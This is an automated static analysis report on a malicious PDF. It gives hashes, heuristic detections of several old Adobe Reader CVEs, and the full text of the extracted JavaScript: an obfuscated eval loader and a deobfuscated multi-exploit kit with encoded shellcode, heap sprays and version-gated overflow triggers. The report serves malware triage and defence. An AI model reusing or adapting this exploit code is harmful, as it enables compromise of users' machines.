Malicious PDF — malware analysis report

Static analysis result for SHA-256 534d0f0aecfcd922…

MALICIOUS

PDF

44.8 KB First seen: 2026-05-08
MD5: 82987fbe2d319380ad58342f701d31f7 SHA-1: c7e4328899fdc0364323ce981e7b8f8979fc80ea SHA-256: 534d0f0aecfcd922411a5fa89ea83c2c94b92588351b8e74b1487cfac5f906ba
408 Risk Score

Machine Learning

  • Nyx PDF Classifier malicious score 1.0000

Heuristics 9

  • media.newPlayer — CVE-2009-4324 critical CVE exact CVE_2009_4324
    PDF JavaScript calls media.newPlayer — CVE-2009-4324 is a use-after-free in Adobe Reader's multimedia plugin triggered by media.newPlayer(). Actively exploited as a zero-day in December 2009. (identified after JavaScript deobfuscation)
  • Collab.getIcon — CVE-2009-0927 critical CVE exact CVE_2009_0927
    PDF JavaScript calls Collab.getIcon — CVE-2009-0927 is a stack buffer overflow in Adobe Reader triggered by Collab.getIcon() with a crafted argument. Allows arbitrary code execution. (identified after JavaScript deobfuscation)
  • Collab.collectEmailInfo — CVE-2007-5659 critical CVE exact CVE_2007_5659
    PDF JavaScript calls Collab.collectEmailInfo — CVE-2007-5659 is a buffer overflow in Adobe Reader triggered by a long argument or heap-sprayed message field passed to Collab.collectEmailInfo(). Part of a series of Acrobat JS API exploits. (identified after JavaScript deobfuscation)
  • util.printf — CVE-2008-2992 critical CVE exact CVE_2008_2992
    PDF JavaScript calls util.printf() — CVE-2008-2992 is a stack buffer overflow in Adobe Reader triggered by a long format-specifier argument. Widely exploited in the wild after disclosure. (identified after JavaScript deobfuscation)
  • Pidief-style multi-CVE JavaScript dispatcher critical CVE likely PDF_PIDIEF_MULTI_CVE_DISPATCH
    A single JavaScript body branches on app.viewerVersion and invokes two or more of the canonical Reader sinks (Collab.collectEmailInfo, Collab.getIcon, util.printf with a field-width format string). This is the 2009-2010 Pidief.J multi-exploit landing template: a per-version dispatcher that fires the matching CVE chain for whichever Reader version opens the file.
  • Multi-CVE Adobe Reader JavaScript exploit kit critical PDF_ADOBE_READER_MULTI_CVE_JS_KIT
    One recovered JavaScript stage contains multiple version-gated Adobe Reader exploit branches. This is stronger evidence than independent API keywords: the PDF is selecting old Reader vulnerabilities by viewer version and running heap-sprayed Acrobat JavaScript exploit paths.
  • JavaScript action low 1 related finding PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
javascript_obj0001_000.js pdf-javascript-stream PDF /JS object 1 at offset 0xB015 522 bytes
SHA-256: 75debf50e9b9c7180118577a94b2f53e62e426b8abf1152ecccb0a3bb5c7d0ad
Preview script
First 1,000 lines of the extracted script
cpzdm='';
v='su';
try{[1,2][6].as();}catch(e){v+=('wqg','bst');}
qwe = ('webweb',v)[v+'r'];
t='le';
a=["e","a","n","b","w",'v','r'];
e=qwe()[a[0]+a[5]+a[1]+(a,t[0])];
b=qwe['qfwqf'];
e('ofij=t'+('qwtwqt','hisundefined').replace(b,'.')+'ti'+'t'+t);
s=ofij[v+a[6]](10,4);
s+='tr';
aix=e('S'+'tring.fro'+ofij[s](1,9));
q=ofij[s](14);
porjo = e(q['re'+'pl'+a[1]+'ce'](/u/g,','));
e('k=porjo.length');
for (i = 0; i < k; i+=2) {
	qna = porjo[i+1] + ('erybjkerl',porjo[i]);
	cpzdm += aix(qna);
}
e(cpzdm);
legacy_pdfkit_stage_000.js deobfuscated-js metadata title CharCode pair decoded JavaScript at offset 0x37 3654 bytes
SHA-256: 988fce52bfd863f4bd12df8e20736396a33a496aa086f7ed34bf477fd0b90fa2
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 11 eval/decoder/string-building token(s). Carved artifact contains 1 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
var bjsg='%u9090%u9090%u16eb%u3cb9%u0001%u8b00%u2434%uf789%u3e80%u74e9%uac06%u3934%ue2aa%uc3fa%ue5e8%uffff%ud0ff%u3835%u3939%ub867%u65d5%u3938%ub039%ub4de%u2976%u56b4%u086d%u6ee2%u6a68%u6a6a%u6a6a%u6a6a%u6a6c%u516a%u383d%u3939%u6f6c%u516a%u5756%u3939%u4c51%u554b%u6d54%ub751%u3777%ud1d5%u3971%u3939%ud169%u3945%u3939%ue9c6%ufdba%u5131%ud676%u3c76%ud169%u3955%u3939%ue9c6%uf9bc%u2e4c%u6d53%uca60%u5193%uc74b%u2f8a%u24d1%u3939%u6939%u68d1%u3939%uc639%u6ae9%uc753%ub051%u3856%ud184%u3931%u3939%ud169%u3905%u3939%ue9c6%u0859%u5df9%u69b2%ub209%u356b%u6bb2%ub22d%u114b%u2180%u3939%u0839%u08c6%u95f9%u5805%u3b45%u1915%uf6f8%u3834%udbfe%ub8c9%u62c6%u7385%ub253%u297b%u2bb2%ue04c%u7db0%u251d%ufa58%ub259%u1d55%ub21d%u057c%u6db2%u413c%ud338%u73b2%ub221%u1963%ud238%u0dda%ub270%ub20d%ud738%uc608%uf908%u95c5%uf9bd%u3e4d%uf6f8%u3834%ud2fe%u02cd%u1d45%u4c11%ub2d8%u1d63%ud238%ub25f%u7235%u63b2%u3825%ub2d2%ub23d%ud138%u7db0%u251d%ufb58%u3931%ud6d1%uc6c7%u51c6%u4d4d%u0349%u1616%u405c%u4b55%u520c%u0d0e%u5017%u4849%u5a17%u1656%u175d%u5149%u0649%u045f%u0108%u5c1f%u0c04%u0039';function ezvr(ra,qy){while(ra.length*2<qy){ra+=ra;}
ra=ra.substring(0,qy/2);return ra;} 
function bx(){var dkg=new Array();var vw=0x0c0c0c0c;var addr=0x400000;var payload=unescape(bjsg);var sc_len=payload.length*2;var qy=addr-(sc_len+0x38);var yarsp=unescape("%u9090%u9090");yarsp=ezvr(yarsp,qy);var count2=(vw-0x400000)/addr;for(var count=0;count<count2;count++){dkg[count]=yarsp+payload;} 
var overflow=unescape("%u0c0c%u0c0c");while(overflow.length<44952){overflow+=overflow;} 
this.collabStore=Collab.collectEmailInfo({subj:"",msg:overflow});} 
function printf(){nop=unescape("%u0A0A%u0A0A%u0A0A%u0A0A");var payload=unescape(bjsg);heapblock=nop+payload;bigblock=unescape("%u0A0A%u0A0A");headersize=20;spray=headersize+heapblock.length;while(bigblock.length<spray){bigblock+=bigblock;} 
fillblock=bigblock.substring(0,spray);block=bigblock.substring(0,bigblock.length-spray);while(block.length+spray<0x40000){block=block+block+fillblock;} 
mem=new Array();for(i=0;i<1400;i++){mem[i]=block+heapblock;} 
var num=12999999999999999999888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888;util.printf("%45000f",num);} 
function geticon(){var arry=new Array();if(app.doc.Collab.getIcon){var payload=unescape(bjsg);var hWq500CN=payload.length*2;var qy=0x400000-(hWq500CN+0x38);var yarsp=unescape("%u9090%u9090");yarsp=ezvr(yarsp,qy);var p5AjK65f=(0x0c0c0c0c-0x400000)/0x400000;for(var vqcQD96y=0;vqcQD96y<p5AjK65f;vqcQD96y++){arry[vqcQD96y]=yarsp+payload;} 
var tUMhNbGw=unescape("%09");while(tUMhNbGw.length<0x4000){tUMhNbGw+=tUMhNbGw;} 
tUMhNbGw="N."+tUMhNbGw;app.doc.Collab.getIcon(tUMhNbGw);}} 
aPlugins=app.plugIns;var sv=parseInt(app.viewerVersion.toString().charAt(0));for(var i=0;i<aPlugins.length;i++){if(aPlugins[i].name=='EScript'){var lv=aPlugins[i].version;}} 
if((lv==9)||((sv==8)&&(lv<=8.12))){geticon();}else if(lv==7.1){printf();}else if(((sv==6)||(sv==7))&&(lv<7.11)){bx();}else if((lv>=9.1)||(lv<=9.2)||(lv>=8.13)||(lv<=8.17)){function a(){util.printd('p@111111111111111111111111 : yyyy111',new Date());}
var h=app.plugIns;for(var f=0;f<h.length;f++){if(h[f].name=='EScript'){var i=h[f].version;}} 
if((i>8.12)&&(i<8.2)){c=new Array();var d=unescape('%u9090%u9090');var e=unescape(bjsg);while(d.length<=0x8000){d+=d;}
d=d.substr(0,0x8000-e.length);for(f=0;f<2900;f++){c[f]=d+e;}
a();a();try{this.media.newPlayer(null);}catch(e){}
a();}}

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